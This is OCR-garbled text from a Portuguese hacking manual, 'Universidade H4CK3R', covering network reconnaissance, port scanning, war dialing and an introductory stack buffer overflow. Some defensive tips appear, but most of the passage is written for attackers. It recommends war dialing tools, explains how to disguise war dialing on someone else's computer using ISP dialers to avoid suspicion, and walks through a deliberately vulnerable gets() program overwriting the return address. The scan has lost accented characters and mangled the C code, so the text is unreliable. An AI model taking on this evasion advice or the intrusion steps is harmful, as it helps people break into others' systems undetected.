Infelizmente, no h muito como se defender de informaes obtidas por meio de bancos de dados whois. As informaes desse servio devem estar disponveis universalmente, portanto no h o que fazer. Casos recentes de defacements (como o do site da Digerati Editorial) foram possveis usando as informaes obtidas por whois e, depois, com um pouco de engenharia social, obtidas as senhas para alterao do DNS. um tpico caso de falha humana. O problema no foram as informaes de whois, mas as senhas fracas e a vulnerabilidade social. J os zone transfers de servidores DNS podem, sim, ser evitados. Crie regras em seu servidor para restringir zone transfers apenas entre servidores DNS do seu domnio, bem como dos root-DNS-servers. Como no h nada de ilegal nas atividades do black hat at aqui, pois as informaes obtidas so todas pblicas, no h como lanar um contra-ataque. Mesmo porque, devido ao trfego gigantesco, rastrear acessos a servidores de whois e DNS tarefa impossvel. Mas, SIM! possvel tomar medidas preventivas (alm de restringir o zone transfer - isso muito importante!) para evitar que informaes desnecessrias vazem para a Internet. Entre elas:
~ Faa uma faxina em casa! Vasculhe seu site e retire tudo o que pode dar, indevidamente, informaes confidenciais ou restritas que possibilitem um ataque.
~ Crie polticas sobre o que pode ser publicado no site e veiculado por e-mail. Crie punies (infelizmente, necessrias) caso algum funcionrio ponha em risco a empresa divulgando o que no deveria. E nada de colocar bandeirinhas com "Powered by Windows NT4" ou "Running Linux 2.2".
12321
Ataque, defesae contra-ataque: Observao[
Universidade 3 Ano
Faa campanhas preventivas, alertando os usurios de e-mails para o perigo de enviar dados internos da companhia para fora. Pegue aquela pesquisa que voc fez na Web com os nomes ou e-mails de seus funcionrios e monte uma apresentao para ilustrar suas campanhas.
12331
] Ataque. defesa
e contra-ataque:
Observao
usca
Captulo
12
e, o que busca, acha.
"
PedI; e dar-se-vos-; busca;' e achareis; bate;' e abrir-se-vos-. Porque, todo o que pede,
recebe;
(Mateus,VII: 7-111
I Universidade
H4CK3R
Assim como os militares, que usam os servios de inteligncia para elaborar relatrios sobre o alvo e s depois vo a campo para observ-Io, ns tambm tivemos de angariar todas aquelas informaes, elaborar planos de ao e fazer um roteiro de ataque. Nesta nova fase, faremos o que os militares chamam de reconhecimento: conferir os dados obtidos, preencher eventuais lacunas, corrigir distores e obter dados de reas antes inacessveis. Lembre-se: depois de voltar das buscas, realimentaremos nosso roteiro com as informaes obtidas. Nunca fuja do 1-2-1-3-1-4-1-5-1-6-1!
Rede Privada
~~
192.168.3.0
192.168.4.0
200.xxx.10.20 SMTPtPOP
200.xxx.20.10 SQLServer
2361
Ataque, defesa e contra-ataque: Busca [
Universidade 3 Ano
Em nosso diagrama, o hacker ainda no conhece os computadores de nossa rede, representados em cor esmaecida. No decorrer deste captulo, medida que ele for identificando as diferentes mquinas em nossa rede, as estaes vo ficando ntidas. Posteriormente, computadores "ownados" (ou seja, j invadidos pelo hacker) sero representados pelo cone "doente". Observe que h um f1ltro de pacotes e um proxy, guisa de firewall. Essa configurao cria a chamada Zona Desmilitarizada ou DMZ. Nela, os servidores com acesso pblico permitido (Web, FTP,SMTP...) ficam "protegidos" pelo f11trode pacotes, que bloqueia (ou deveria bloquear) qualquer comunicao vinda de fora e que no seja destinada a servios especficos dos servidores. Mesmo conexes a servidores deveriam ser bloqueadas: uma conexo na porta 80 (HTTP) s permitida se o seu destino for realmente o servidor Web e no o de SMTP.Conexes de fora em direo rede interna, nem pensar... O proxy, que fica na borda entre a rede interna e o DMZ, traz uma camada adicional de segurana e evita que as estaes internas conectem-se Internet. Do contrrio, elas conectam-se ao proxy e ele (apenas ele) "fala"com a Internet. Com esse artifcio, para quem v de fora, a rede interna composta, apenas e to-somente, pelo proxy. O prprio proxy pode ser invadido e essas restries contornadas, mas isso conversa para mais adiante.
aO ~o
~
8
8
200.xxx.20.10
1 jingle da campanha presidencial de jnio Quadros, em 1956.
(j)
12371
] Ataque, defesa
e contra-ataque:
Busca
I Universidade H4CK3R I
Cada um dos crculos representa um dos IPs.Voltando ao nosso diagrama de redes, a viso que o atacante tem de nossas mquinas esta:
Proxy+ Gateway
::::;
[] Hackerno v
Hacker v
" ~ " ~ iP ~
::::;
.~
200.xxx.l0.2
::::;
::::;
200.xxx.l0.20 SMTP+PDP
.~.~
lI'
.~..
Agora, o traceroute/tracert utilizado em cada um dos IPs descritos. A sintaxe bem simples: traceroute -n IP.QUE.QUEREMOS.VERIFICAR.A sada de um traceroute se parece com esta:
1 2 3 4 5 6 7 192.168.1.162 0.524 ma 0.235 ma 0.204 ma 200.204.171.155 1.084 ma 1.040 ma 1.028 ma 200.204.174.122 11.322 ma 18.636 ma 272.474 ma 200.207.199.121 602.530 ma 513.476 ma 524.081 ma 200.205.255.219 559.810 ma 531.438 ma 610.651 ma 200.205.255.212 817.968 ma 596.748 ma 576.567 ma 200.205.254.134 527.308 ma 523.359 ma 548.114 ma . .. (continua)
o parmetro -n apenas para evitar que o traceroute procure por nomes DNS dos IPs mostrados. O hacker deve, diligentemente, anotar (ou gravar e imprimir) todas as sadas do traceroute para todos os IPs que ele descobriu com o pingo Se tentar seguir essa lista de trs para frente, vai perceber que muitas das mquinas esto encadeadas. Em nosso exemplo, vemos que a sada do traceroute do host 200.xxx.1.1O nos diz que a mquina anterior a 200.xxx.1.1. Ora, isso quer dizer que as mquinas esto ligadas! Em nosso diagrama:
~38 I
Ataque, defesa e contra-ataque: Busca r
Universidade 3 Ano
8
Todos os IPs 200.xxx.l0.n
200.xxx.20.10
200.xxx.l0.20
SMTP+POP
200.xxx.20.10
SGLServer
12391
] Ataque, defesa
e contra-ataque:
Busca
I Universidade
H4CK3R I
phY,is
20~.230.721!p 201.23{,72.$
Como voc pode perceber, o Cheops automatiza os procedimentos com ping e traceroute (que tm de estar presentes no sistema) e ainda usa tcnicas de fmger printing (que veremos adiante) para adivinhar o sistema operacional de cada n.
12401
Ataque, defesa e contra-ataque: Busca [
Universidade 3 Ano Para saber as opes do Nmap, veja a pgina de manual (man nrnap) ou o Help da verso Windows. As verses com frontends (Windows e Unix) possuem, no painel de controle, chaves para quase todos os testes e uma barra de status na qual mostrado como ficaria a linha de comando. No vamos entrar em detalhes de utilizao do Nmap aqui. Em vez disso, vamos falar sobre as formas diferentes de "torcer" o handshake TCP. O comando Nmap rodado sem argumentos faz uma conexo completa na porta testada, o que quer dizer que todo o handshake TCP respeitado. Obviamente, esse scan extremamente ruidoso e facilmente detectvel.
18
12411
Busca
I Universidade
H40~3R
Outras portas que podem ser de interesse: 20 (resposta de FTP), 21 (requisio de FTP), 25 (resposta de SMTP), 53 UDP e 53 TCP (requisio e resposta de DNS) e 666/667 TCP e UDP (resposta do servidor de Doom e Quake - tenha certeza, seu administrador deixou estas abertas para jogar noite). Veja bem: estamos falando de portas de origem. As portas de destino sero escaneadas. Talvez um estudo da RFC1700 (www.ietf.org/rfc.hyml) seja revelador. Para encontrar quais portas o firewall est deixando passar alm dessas bvias, podemos usar padres de fmgerprinting (que veremos mais frente), combinados com as tcnicas de traceroute e ping, para descobrir como funcionam as regras dos firewalls. No h muitos softwares bons que fazem isso, mas um digno de nota. Existe exclusivamente para Unix e se chama FirewaIk. Disponvel em www.packetfactory.net/firewalk/. possui uma documentao que, se no grande, pelo menos bem completa. Com o Firewalk, fica muito fcil determinar as portas abertas de um filtro de pacotes funcionando como firewall e, depois, aplicar portscans direcionados s mquinas internas passando por essas portas no filtradas.
2421
Ataque. defesa e contra-ataque: Busca [
Universidade 3 Ano
Impresso
digitaL na Web
Identificar o sistema operacional que est rodando no n especificado primordial para explorar as vulnerabilidades possivelmente presentes. A tcnica usada na determinao do SO dos hosts chama-se fmger printing (ou, coleta de impresso digital). possvel enviar, seqencialmente, todos os testes TCP e UDP descritos para as portas de um n. Dependendo da maneira como responde, possvel saber qual sistema operacional est rodando naquele host. O Cheops e o Nmap fazem isso magistralmente. Procure a documentao de ambos para saber como us-los e como interpretar os resultados. Para saber mais sobre como ftrnciona o finger printing, procure por finger printing os determination ou por tep udp fingerprinting em seu mecanismo de buscas favorito.
Tem mais?
H diversas tcnicas de portscan. Relacionar todas no seria possvel em um livro de 350 pginas como este. Mas relacionamos abaixo mais alguns tipos, cuja descrio pode ser facilmente encontrada na Internet. ~ FTP Bounee: usa uma caracterstica antiga dos servidores FTp' que a possibilidade de utilizar um servidor FTP como intermedirio a fim de enviar um arquivo para uma terceira mquina. Como possvel controlar em qual porta ser feita a conexo, pode-se, manualmente, varrer todas as portas da terceira mquina (a vtima) at conseguir conexo. Na vtima, estar registrado o IP do servidor FTP e no do hacker. Tambm chamado de FTP forwarding. ~ Falhas de RCP: j falamos sobre Remote Procedure Calls em Redes I. Todos os sistemas operacionais possuem alguma implementao de servios RPC, e praticamente todos tm alguma que responda incorretamente a uma conexo, revelando que aceita a conexo (apesar de no necessariamente ser vulnervel). Procure por RPC Sean e RPC Exploit.
Procurando brechas
J falamos alguma coisa sobre furos de segurana nos dois captulos sobre vulnerabilidades. O que um scanner de vulnerabilidade faz, normalmente, testar cada um dos servios oferecidos de acordo com padres preestabelecidos. Caso o sistema responda tambm de acordo com padres reconhecidamente pertencentes s verses falhas, o scanner o reporta como "bugado" e, portanto, possivelmente vulnervel.Todos os fmgerprints (tanto de solicitao quanto de resposta) esto guardados em bancos de dados cuja atualizao constante e contnua. Havamos preparado, para esta seo, um texto muito extenso, didtico e facilmente digervel sobre diversos scanners de vulnerabilidades. Mas, olhando para aquilo tudo, pensamos: "estamos negando ao leitor a oportunidade de aprender". De fato, se dssemos o peixe, estaramos condenando-o a ser um script kiddie para o resto da vida. Se o ensinssemos a pescar, ainda assim no haveria opor-
12431
] Ataque, defesa
e contra-ataque:
Busca
I Universidade
H4CK3R I
tunidade para pensar, raciocinar e ver como as coisas funcionam. Portanto, em vez de dar o peixe ou ensin-Io a pescar, decidimos apenas mostrar-lhe o lago. As varas de pesca esto l. Ponha a cuca para funcionar, a mo na massa e aprenda um pouco sozinho! Os endereos das duas "varas de pesca" mais famosas encontram-se abaixo. Estude-as completamente, lendo toda a sua documentao e procurando mais informaes na Internet. Se ficar em dvida, pea ajuda! H muitos grupos de discusso sobre redes com pessoas dispostas a ajudar - voc pode encontrar o endereo de alguns nos captulos sobre redes. Se voc procurar bem, ver que pode ler e aprender muita coisa antes mesmo de colocar os dedos no teclado para escarafunchar nos buracos de algum (sem trocadilho, por favor!). ~ Nessus: www.nessus.org ~ Gherkin: www.altmode.com/gherkin/ Adicionalmente, buscas na Internet vo lhe mostrar diversas ferramentas (livres ou no) de scanners de vulnerabilidade.Voc ver coisas como COPS,SAINT, NetSaint, SARA,VLAD,NetSonar... Brinque primeiro com os dois sugeridos. Depois que se cansar deles, baixe (ou compre, se for o caso) os outros e divirtase mais um pouquinho. Hackerismo isso: aprenda fazendo. Pense!
Defesa e contra-ataque
Para defender-se de hackers (ou kiddies) que varrem sua rede o tempo todo, necessrio obedecer a algumas regras fundamentais: ~ Atualize seu sistema! Sistemas desatualizados so grandes fontes de problemas, no apenas de segurana, mas de estabilidade tambm. Seu fornecedor de tecnologia normalmente oferece atualizaes gratuitas quando a falha deles. No deixe passar! ~ Dispare um scan contra voc mesmo. No espere que um hacker descubra que voc usa um IIS vulnervel falha de Unicode ou um Sendmail com o conhecido Sendmail Bug. Ou pior: que seu fl1"ewall um queijo suo. Os scanners esto a para ajud-Io. Use-os! ~ Desligue os servios desnecessrios. Se voc montou um servidor Web, que serve apenas para isso, por que vai querer um SMTPescutando na porta 25, um POP na porta 110 e um X na 6OO0? Deixe rodando apenas o que efetivamente ser usado. No s para deixar menos portas para o hacker usar, como tambm porque voc vai se esquecer dele e no aplicar os patches de segurana pertinentes. ~ Revise seu firewalI. Se os seus scans esto passando, seu firewall precisa de uma reviso. Considere trocar o f11trode pacotes comum por um orientado a estados e melhore as ACLs do proxy no lado de dentro do DMZ.Alis, voc tem um DMZ, no tem? ~ Instale sistemas de deteco de intmsos, ou IDS.Veremos sistemas IDS nos apndices no CD-ROM. Mas importante instalar um desses para garantir que seus logs sero preservados e qualquer invaso seja prontamente rastreada.
12441
Ataque, defesa e contra-ataque: Busca [
Universidade 3 Ano
Contra-atacar nesses casos, embora possvel (pois um kiddie ruidoso ficaria nos logs, e mesmo hackers experientes cometem deslizes), no seria justificvel. Neste ponto, apesar de perigosamente no limiar, o hacker ainda no ultrapassou a barreira da legalidade. Verifique sempre seus logs e use possveis scans e ataques como avisos para atualizar seus sistemas.
12451
] Ataque, defesa
e contra-ataque:
Busca
Invaso
''Abordar navios mercantes invadir, pilhar, tomar o que nosso!...! Preparar a nossa invaso
1. Do
albuIn Revolues
por Ininuto.
de 198/>'
I Universidade H4CK3R I
"Por que o cachorro entrou na igreja"? Ante essa pergunta capiciosa, a maioria das pessoas, depois de "raciocinar" um pouco, disparam respostas das mais estapafrdias e incongruentes que o ser humano pode ser capaz de conceber. "Poque o padre chamou". "Porque os anjos o conduziram para a plenitude espiritual". "Porque ouviu um chamado de Al para destruir o templo de idolatria dos infiis". "Porque quis". "Porque sim". "Porque havia quermesse e ele sentiu cheiro de lingia". "Porque estava no colo da dona". "Ah, vai te cat, mano"! Mas a resposta correta a mais simples e lgica de todas. O cachorro entrou na igreja porque a porta estava aberta. A partir deste ponto ultrapassamos os limites. A legislao brasileira no reconhece o acesso a sistemas que estejam abertos Internet como invaso, da mesma forma como entrar num shopping center tambm no invaso: as portas esto abertas para tal. Pela lei norte-americana, entretanto, esse tipo de invaso (de sistemas e de shopping centers) j considerado invaso de propriedade. Se voc no bem vindo em um sistema, pode ser processado se entrar. Se no bem vindo em um shopping center, tambm pode! Houve pelo menos um caso, divulgado pela imprensa, de um cidado americano processado por invaso de propriedade por estar na rea pblica de um shopping. Explico: ele estava com uma camiseta pacifista (a frase exata era "Give peace a chance", de JoOO Lennon) e a segurana do shopping solicitou que ele retirasse a camiseta ou deixasse o prdio. Como recusou-se a ambas as coisas, foi preso e processado. Home of the free... Cuidado, portanto, quando invadir sistemas geograficamente instalados l ou pertencentes a empresas daquele pas. Voc ser processado pelas leis de l, e provvel que seja extraditado. Hackerismo = Terrorismo = Priso Perptua... J deu pra notar, n?
A invaso em etapas
Assim como dividimos nosso ataque em seis passos diferentes, o passo quatro - invaso - pode ser dividido em duas etapas. A primeira etapa o acesso a um host da rede. Como vimos nos captulos de redes, as redes internas das empresas normalmente no utilizam nmeros IP roteveis pela Internet. Portanto, temos que invadir primeiramente um computador limtrofe que possua duas interfaces de rede e, portanto, atenda a ambas. Normalmente o prprio ftrewall, ou um proxy, mas possvel que falhas de configurao ou mesmo descuido possam escancarar outros sistemas. Para a primeira etapa, um nmero limitado de tcnicas pode se empregado. Entre eles, a procura por modems aceitando conexes externas (war dialing) e a explorao de falhas especficas atravs de exploits. Observe que nenhum sistema em especial visado. Os crackers podem apontar suas miras tanto em servidores como em estaes de trabalho e mesmo em componentes de rack como roteadores e afins!
12481
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
A segunda etapa mais trabalhosa que difcil. Uma vez conseguido o acesso rede interna, passa-se invaso sistemtica dos computadores dentro da rede. Essa etapa pressupe quebra de senhas e acesso a reas restritas mesmo para quem est dentro. Dizemos que trabalhosa porque, uma vez dentro, cada um dos sistemas autnomos disponveis para os usurios internos requer toda aquela metodologia que vimos: Planejamento, Observao, Busca, Invaso, Manuteno e Evaso. E no esquea: vrios microataques 1-2-1-3-1-4-1-5-1-6-1... Sempre corrija e ajuste seu planos! As coisas mudam, os dados mudam, o administrador muda e voc sempre tem informaes novas. Se quer sucesso, organize-se! E,se voc for um lammer,no tem o que fazer por aqui, j que voc no quer saber de aprender nada.V brincar com os exploits publicados e deixe os profissionais trabalharem!
12491
IAtaque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R
ferramentas, a maioria gratuitas e muitas delas com cdigo fonte aberto e livre. Mas, em uma excepcional colher de ch, a vai um link com algumas delas: neworder. box. sk/box. php::)? gfx=neworder&prj =neworder&key =wardil&txt= Wardia1ers. Recomendamos epecialmente, entre eles, o THC Scan (www.thc.org). a ferramenta n 1 de War Dialing hoje em dia. Foi desenvolvida para DOS, mas pode ser usada em Unix com emuladores, como o Dosemu. Se voc quer dar uma olhada em como as coisas comearam, procure por Demon Dia1er e pelo ToneLoc. So ferramentas parecidas com as que os Phreakers usavam na poca do ftlme de Broderick, incluindo o prprio mockup da cena. Para Unix, alm do excelente THC Scan + Dosemu h alguns nativos como o WARD, cuja descrio est no endereo www.securiteam.com/tools/ 6TOOOIP5QM.html e pode ser baixado e www.Oxdeadbeef.info/code/ward.c; ou prolas como o Jericho e o ShockDial, ambos encontrveis em www.securityfocus.com/tools/ category /26. H tambm muitos war dialers comerciais, destinados a permitir que empresas testem suas instalaes procura de modems perdidos. Uma das mais completas o Phone Sweep (www.sandstorm.net).Alm da excelncia do software, a empresa promete consultoria e suporte por assinatura (com pagamento mensal).
EI
1'1.11*
2001-07-2003:25 2001-07-2019:51 2001-07-20 20 52 2001-07-2021 :40 2001-07-2022:26
$
~} $ $
~1001
1'1"" 2001-07-1901:42 TIMEOUT Unknown 1'1.11* 1'1.11* 2001-07-1922:08 1'1.11* 1'1.11* n 1'1 VOICE Unknown
$ $
[tI[tI-
_1005 ~1006
250
I
Invaso
Universidade 3ano
Uma lista de equipamentos reconhecidamente vulnerveis e detectveis pelo Phone Sweep podem ser encontrados em www.sandstorm.net/products/ phonesweep//sysids.shtml. Outra opo o TeleSweep, da Securelogic. Mais informaes em telesweepsecure .securelogix.com. Nossa recomendao: baixe, instale e brinque com, pelo menos, as ferramentas gratuitas listadas aqui. Voc vai descobrir que, nesta poca de ADSLe Cable Modem, ainda existem MUITOSmodems discados recebendo chamadas por a, especialmente em empresas. Outra dica: voc pode usar os discadores dos provedores de acesso como War Dialers improvisados!!! A maioria deles possuem um arquivo externo com a lista de nmeros de telefone de conexo. Basta substituir essa lista por uma especialmente criada, e voc ter um war dialer instantneo, inclusive com rediscagem automtica e varredura de todos os nmeros da lista. Baixe os discadores de todos os provedores que voc se lembrar e verifique. Esta dica muito til quando se est usando um computador laranja como discador e no se quer levantar suspeitas com programas especializados. Um THC Scan levantaria suspeitas no computador do seu tio, mas o discador do iG (ou do Terra, do iBest, do UOL ou da AOL...) passaria despercebido, ainda mais se o seu tio for assinante de um desses provedores.
IAtaque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R
cia e presuno do ttulo auto-outorgado, as ferramentas so realmente muito boas. No site ainda encontramos diversos whitepapers sobre invaso e segurana dignos de leitura.
Um amontoado de coisas...
A palavra portuguesa pilha nos traz cabea duas imagens: 1. Uma pilha de pedras, de pratos, de moedas, de corpos no filme do Stallone... 2. Uma clula de energia eltrica usada em lanternas portteis e brinquedos. Peguemos a primeira imagem. Uma pilha de moedas, por exemplo, daquelas que o Tio Patinhas tem em cima de sua escrivaninha na caixa-forte. O adorvel po-duro de Patpolis arruma diligentemente suas moedinhas, uma sobre a outra. Com isso, quando vai guard-Ias na caixa-forte o bom varo retira cuidadosamente a primeira moeda e a pe no saco de dinheiro, depois a segunda, depois a terceira... Observe um detalhe: a primeira moeda a ser retirada foi a ultima a ser colocada. No exemplo da pilha de pedras, Fred Flintstone usando seu tratorossauro recolhe pedras retiradas da encosta e as empilha no local indicado pelo Sr. Pedregulho Slate, seu chefe. Note que, nesse caso, as pedras que Fred pega primeiro so as que vo ficar por baixo da pilha. Mas talvez o melhor exemplo (e mais til) seja mesmo o da pilha de pratos. Podemos inclusive usar um exemplo de pilhas recursivas. Quando os pratos esto sujos na mesa e a loua do dia sua (...), voc recolhe-os e os empilha nas mos ou em uma bandeja. Observe: o ltimo prato que voc pegou fica no topo da pilha. Quando chega cozinha, faz o caminho inverso. Como no d pra colocar a pilha toda de uma vez, voc pega prato por prato e os empilha novamente, desta vez na pia. medida que os vai lavando, voc os empilha pela terceira vez (agora j limpos) do outro 1252
I
Invaso r
Universidade 3ano
lado da cuba, e novamente o que era ltimo ficou primeiro. Para guard-Ios no armrio... , acho que voc j entendeu. E as pilhas de lanterna? Elas no tm muito haver com o papo agora. S por curiosidade, o nome "pilha" dado a esse elemento gerador de energia porque as primeiras clulas quimio-eltricas eram, er, bem, diversos discos de metais diferentes (parecidos com moedas, s vezes moedas mesmo!) alternados entre si e mergulhados em uma soluo cida ou salgada. Pensando bem, at tem haver...
1253 I
] Ataque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R I
2. 3. 4. 5. 6. 7. 8.
Obtm primeiro nmero e o entrega funo soma; Obtm o segundo nmero e o entrega funo soma; Coloca o resultado na pilha; Chama funo soma(a,b); Obtm terceiro nmero e o entrega funo soma; "Puxa" o topo da pilha e entrega funo soma; Soma(a,b) faz a operao e joga o resultado na sada.
Observe que o resultado da primeira soma ficou armazenado na pilha, esperando ser chamado de volta ao fluxo normal do programa. Uma soluo como essa envolvendo posies de memria demandaria funes para reservar memria para trs variveis, envio e recuperao triplicada de dados e possivelmente uma funo soma mais complexa. Esse exemplo foi didtico, mas longe do ideal. Vamos ver um pequeno programa em C. Deve rodar de forma idntica em qualquer plataforma, pois no usa bibliotecas especficas.
void funcao_idiota (void)
char xuxu[5]; gets (xuxu); );
printf(ll%s\nll, xuxu
main()
funcao_idiota() return o; ;
No se preocupe, voc no precisar ter visto um programa C alguma vez na vida para entender este aqui. Veja s: qualquer linguagem estruturada que se preze permite que voc crie, com os comandos bsicos que ela possui, funes mais complexas para serem usadas pelo programa principal. Em nosso exemplo (e em qualquer cdigo C), o programa principal "marcado" pela funo main( ). Dentro das chaves { e } temos o programa completo, composto por duas outras funes:
main()
funcao_idiota() return o; ;
12541
Ataque, defesa e contra-ataque: Invaso r
Universidade 3ano
funcao_idiota( ) chama uma funo criada por ns mesmos, e declarada no incio do programa. J a prxima linha, return O, indica que o programa deve encerrar nessa linha e retornar para o shell que a chamou. Temos que dedararfuncao_idiota() antes dela poder ser usada. Ento, vamos a ela! void funcao_idiota (void) {
char xuxu[5]; gets (xuxu); xuxu );
printf(H%s\nH,
A funo , a grosso modo, uma sub-rotina que pode ser usada vrias vezes
dentro do programa. Em nosso main( ) a usamos apenas uma vez, mas seria possvel, se quisssemos, us-Ia em diversos locais do cdigo. O que essa idiotice faz : 1) criar uma varivel chamada xuxu com um tamanho de 5 bytes; 2) usar a funo gets( ) da linguagem C para pegar caracteres do teclado e joglos na varivel xuxu; 3) usar a funo printf( ) para jogar o resultado na tela. Se voc est em uma mquina Unix, pode compilar o programinha e test-lo. Na maioria dos sitemas, use o comando:
$ cc -o idiota idiota. c
Sendo idiota. c o arquivo texto contendo o cdigo do programa e idiota o arquivo executvel gerado pelo compilador cc. No Linux e no FreeBSD use o gcc em vez do cc. Para rodar o programa, digite:
$ ./idiota
Aparentemente, nada acontecer. Tente digitar um caractere qualquer e pressionar a tecla <Enter>. O caracter ser replicado na tela. s isso o que o programinha faz. Em uma mquina DOS ou Windows, o procedimento parecido. Procure por algum compilador de linha de comando. Se no souber onde procurar, comece com alguns destes. Experimente TODOS e escolha seu preferido! Para DOS podemos indicar: ~ DJGPp,o GCC do DOS: www.delorie.com/djgpp: ~ O venervel Borland Turbo C 2.01 (Autorizado! No pirataria!): community. borland.com/museum ; ~ Pacific C: www.elrincondelc.com/compila/pacific.html ;
Para Windows, existem, entre muitas, as seguintes opes: ~ iCC Win32: www.cs.virginia.edu/-lcc-win32/index.html; ~ DevCPP: www.bloodshed.net/devcpp.html (a escolha dos autores!); Alis, em www.bloodshed.net existem links para compiladores de diversas linguagens! Confira!
1255
I
Invaso
I Universidade
H4CK3R I
Voltemos ao nosso programa. Quando o main( ) chama funcao_idiota( ), o processamento do programa principal interrompido e desviado para a funo. Quando a funo termina seu processamento, retoma rotina principal. Observe o cdigo novamente, desta vez com o fluxo de processamento indicado por setas:
void funcao_idiota (void)
char xuxu[5]; gets (xuxu); );
printf(il%s\nil, xuxu
return;
Desvio do processamento
Inicio aqui
funcao_idiota() return o; ;
..
Fim!
Bonito, no? Em princpio, funciona. Mas, para interromper o processamento de main( ), neceesrio colocar tudo o que main( ) esteja fazendo em algum lugar, desviar o processamento para funcao_idiota( ), processar o que estiver l e depois retorar a main( ).A1m de devolver os possveis valores da funo chamada (o que no nosso caso - para simplificar no passamos argumentos entre as funes), tambm precisamos ter um meio de saber ONDE na memria estava o processamento de main( ) para que retomemos o processo. Complicado? Tambm achei. Uma ilustrao ajuda bastante!
Dados de main ()
12561
Ataque, defesa e contra-ataque: Invaso
[
Universidade 3ano
Nooofaaaa (Com F mesmo. Lingua presa...) ! Mas no era uma pilha? Porque est de cabea para baixo? Bem, normalmente as pilhas so armazenadas de cima para baixo, sendo o dado mais antigo na posio mais alta de memria e a pilha crescendo em direo posio mais baixa. Pense nela como uma pilha de moedas feita no teto em direo ao cho. Talvez voc tenha que usar cola para prender as moedas, mas ainda assim uma pilha. Como dissemos, os dados de main( ) so jogados na pilha. Note que ela no precisa estar necessariamente vazia, podendo conter, por exemplo, dados do shell ou da janela onde o programa foi chamado. Depois do main( ), tambm guardado no stack um ponteiro, chamado de ponteiro de endereo de retorno ou return address pointer. ele que indica ao processamento onde encontrar a prxima instruo depois do desvio (onde que eu estava mesmo?). Em nosso caso especfico, o return pointer guarda o endereo de memria onde reside a instruo return O. Depois do ponteiro de retorno, o sistema coloca um ponteiro de pilha, que aponta para uma tabela com dados de controle sobre a prpria pilha - que obviamente o leitor compreende ser necessria. Por ltimo, vo os dados temporrios de nossa funo secundria, chamada por main( ). Em nosso caso, a varivel xuxu, criada pela nossa funo funcao_idiota( ). Quando a funo secundria termina seu processamento, os dados dela so retirados da pilha, depois o ponteiro de controle da pilha, depois o ponteiro do endereo de retorno. Quando o processamento retomado na posio original, os dados de main so puxados da pilha e tudo volta a ser como era antes. Ser?
Quando o processamento chegou na funo gets( ), digitamos a letra "a". A funo gets( ) colocou "a" dentro da varivel xuxu, que foi impressa na linha seguinte pelo printf( ). Lembre-se de que xuxu tem um tamanho de apenas cinco bytes. O que acontece se passarmos de cinco?
2. Aula de ingls geek? Essa frase realmente foi dita, durante uma conversa entre eu e o diretor de informtica de uma empresa de aviao. Um estagirio ouviu a palavra debug no meio da conversa e saiuse com esta. At hoje eu e esse diretor de informtica usamos a expresso como piada local.
12571
]Ataque.
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R I
Bem, tentamos com cinco letras "A:', a sada foi AAAAA. Com seis, AAAAAA. Com sete, AAAAAAA. Com oito, aconteceu algo interessante:
$ ./idiota AAAAAAAA AAAAAAAA
$ Falha de segmentao! O programa falhou e gerou um relatrio de erros com o contedo da memria, gravado no arquivo core. O que ser que aconteceu? Lembremos agora da pilha. O espao para nossa varivel xuxu (que podemos chamar de buffer) era de 5 bytes - ns mesmos definimos isso (char xuxa[5]). Cada caracter ocupa 1 byte, portanto 5 caracteres enche o buffer. Mas o sistema no possui nenhum mecanismo de checagem, ou melhor, a linguagem C no possui. Portanto, se colocarmos mais de 6 caracteres no buffer, haver estouro. Os dados a mais sero escritos por cima de alguma outra coisa (normalmente algo muito importante...). Agora, o segundo detalhe. A pilha armazena de baixo para cima. Portanto, se voc olhar a representao grfica que fizemos dela, vai notar que o sexto caracter vai ser escrito sobre o Ponteiro da Pilha! O ponteiro de pilha possui vrios bytes ( de tamanho varivel) e o de retomo, 4 bytes3 . por isso que, quando escrevemos 6 ou 7 caracteres, nada acontece estamos sobrescrevendo o ponteiro da pilha, em alguma regio que no nos afeta imediatamente. A partir do oitavo caractere temos um problema imediato: estamos sobrescrevendo alguma rea importante do ponteiro de pilha. Se avanarmos mais um pouco, l pelo dcimo-quarto ou dcimo-quinto caracter certamente chegaremos ao ponteiro de retorno!!!!! Agora o primeiro byte do endereo de retomo no ser mais o endereo original, ser o valor hexa do caracter que digitamos! Se for A, por exemplo (ave Aleph1!) o valor hexadecimal ser 41h. Vamos depurar nosso programa usando o gdb, um depurador GNU - para DOS, procure uma ferramenta adequada (como o debug) ou use uma das mquina Linux da nossa rede de testes. Primeiro, vamos rodar nosso programa e gerar um core dump com muitos "A"s: $ ./idiota
Falha de segmentao (core dumped) $ Agora, vamos rodar o gdb e ver o que ele nos diz: $ gdb idiota core GNU gdb 5.1
3. Explicao tcnicaavanada: os ponteiros tm quatro bytes de comprimento, ou 32 bits, o que
equivale a um valor decimal entre O e 4.294.967.295, ou seja, 4 GB.
Universidade 3ano
Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU ... (corta) (no debugging symbols found)... Core was generated by './idiota'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6... (no debugging symbols found) ...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2.. .done. Loaded symbols for /lib/ld-linux.so.2 #0 Ox41414141 in ?? () (gdb) $
A linha importante, por enquanto, #0 Ox41414141 in ?? (). Ela indica o endereo de retomo. Observe que, em vez do endereo correto, temos nosso caracter A (41h) repetido vrias vezes. Bela maneira de fazer o programa abortar! Nosso programinha termina por ali mesmo, mas faamos um teste: entre as linhas funcao_idiota() e retum O; coloque a seguinte linha printf():
{
funcao_idiota() ; Ponteiro de Retorno!\n\nll); printf(llNao atingiu return O;
Agora compile e rode o programa. Voc ver que, at 11 caracteres, a mensagem fmal mostrada antes do core dump. Com 12 caracteres ou mais, a mensagem perdida: atingimos o ponteiro de retorno! Esse valor, claro, depende do programa, dos dados gravados no stack, do tipo de dados do nosso buffer, etc.
I 259 I
I
Invaso
I Universidade
H4CK3R I
